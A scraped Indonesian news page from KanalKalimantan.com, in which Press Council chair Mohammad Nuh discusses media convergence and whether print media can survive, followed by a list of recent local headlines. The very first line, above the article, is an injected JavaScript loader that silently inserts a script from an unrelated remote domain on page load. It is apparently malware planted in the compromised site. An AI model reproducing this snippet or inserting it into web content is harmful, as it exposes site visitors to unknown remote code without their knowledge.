(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
MEDIA

Dewan Pers: Era Konvergensi Media, Teknologi jadi Tantangan Informasi ke Depan


KANALKALIMANTAN.COM, BANJARMASIN – Menjamurnya media berbasis online di era kemajuan teknologi informasi saat ini, memberikan pilihan alternatif pada masyarakat dalam mengakses informasi. Tentunya, ini menjadi tantangan bagi media cetak yang telah eksis sebelumnya.

Lalu, apakah media cetak mampu bertahan di era saat ini?
Ketua Dewan Pers Mohammad Nuh mengatakan, media cetak akan terus bisa eksis.

“Tapi sampai di batas minimal saja,” kata Nuh yang ditemui usai diskusi dengan pimpinan redaksi media se Kalsel di Banjarmasin, Kamis (6/2/2020) siang.

Mantan Menteri Pendidikan dan Kebudayaan RI ini menegaskan, tidak mungkin satu media hanya mengandalkan di satu sektor saja, agar dapat bertahan hidup. Apalagi, beberapa media besar nasional mampu bertahan karena memiliki source lain di luar media.

“Trans misalnya, mereka tidak hanya mengandalkan media televisi dan online saja. Tapi ada bisnis yang lain. MNC dan Kompas juga begitu. Ini ada pergeseran bisnis,” sebut Nuh.

Jika tidak ada pergeseran bisnis, bukan tidak mungkin perusahaan media tidak dapat bertahan hidup.

Lalu, apakah ada kaitannya dengan konvergensi media? Menurut Nuh, konvergensi media terjadi ketika munculnya era digital. Sehingga, dari media yang berbasis voice seperti radio, televisi dan lain-lain, bergabung menjadi satu.

“Maka dari situlah fenomena konvergensi media itu muncul. Karena teknologinya memungkinkan untuk melakukan converge atau menyatukan antar media itu tadi. Makanya namanya menjadi multimedia,” jelas Nuh.

Apalagi, menurut Nuh, masyarakat saat ini tumbuh sebagai masyarakat berbasis informasi dan pengetahuan. Sehingga, informasi sudah menjadi kebutuhan pokok. “Bangun tidur itu (kita) pegang ini (sembari menunjukkan handphone). Beda dengan 10-15 tahun yang lalu, artinya apa? Dia butuh informasi. (Karena) informasi itu kebutuhan dasar,” ucap Nuh. (Kanalkalimantan.com/fikri)

 

 

Reporter : Fikri
Editor : Cell

 


Desy Arfianty

Recent Posts

Calon Haji Tertua Kabupaten Banjar Berusia 86 Tahun, Bupati Banjar Lepas Keberangkatan

KANALKALIMANTAN.COM, MARTAPURA - Bupati Banjar H Saidi Mansyur bersama Wakil Bupati Banjar Habib Idrus Al… Read More

2 jam ago

Dua Hari Hilang di Tengah Rawa, Kakek Syahdan Ditemukan Selamat

KANALKALIMANTAN.COM, BARABAI – Tak kunjung pulang ke rumah selama dua hari, seorang kakek yang dikabarkan… Read More

3 jam ago

Halalbihalal Kerukunan Bubuhan Banjar Jabar Dihadiri Paman Birin

KANALKALIMANTAN.COM, BOGOR – Gubernur Kalsel H Sahbirin Noor beserta istri Hj Raudatul Jannah hadiri halalbihalal… Read More

5 jam ago

Serap Aspirasi Gen Z, Pj Bupati Kapuas Erlin Hardi Main ke Kafe

KANALKALIMANTAN.COM, KUALA KAPUAS - Penjabat (Pj) Bupati Kapuas Erlin Hardi menyambangi kafe untuk menyerap langsung… Read More

7 jam ago

TPK Kelurahan Selat Hilir Juara 3 Terbaik Nasional 2024

KANALKALIMANTAN.COM, KUALA KAPUAS - Kerja keras yang berbuah manis. Ungkapan tersebut tepat disematkan untuk Tim… Read More

7 jam ago

Ibadah dan Sosial Ekonomi Berkembang, Masjid At-Taqwa Karang Anyar III Diperluas

KANALKALIMANTAN.COM, BANJARBARU - Dalam beberapa tahun terakhir, antusias warga dalam melaksanakan peribadatan di Masjid At… Read More

9 jam ago

This website uses cookies.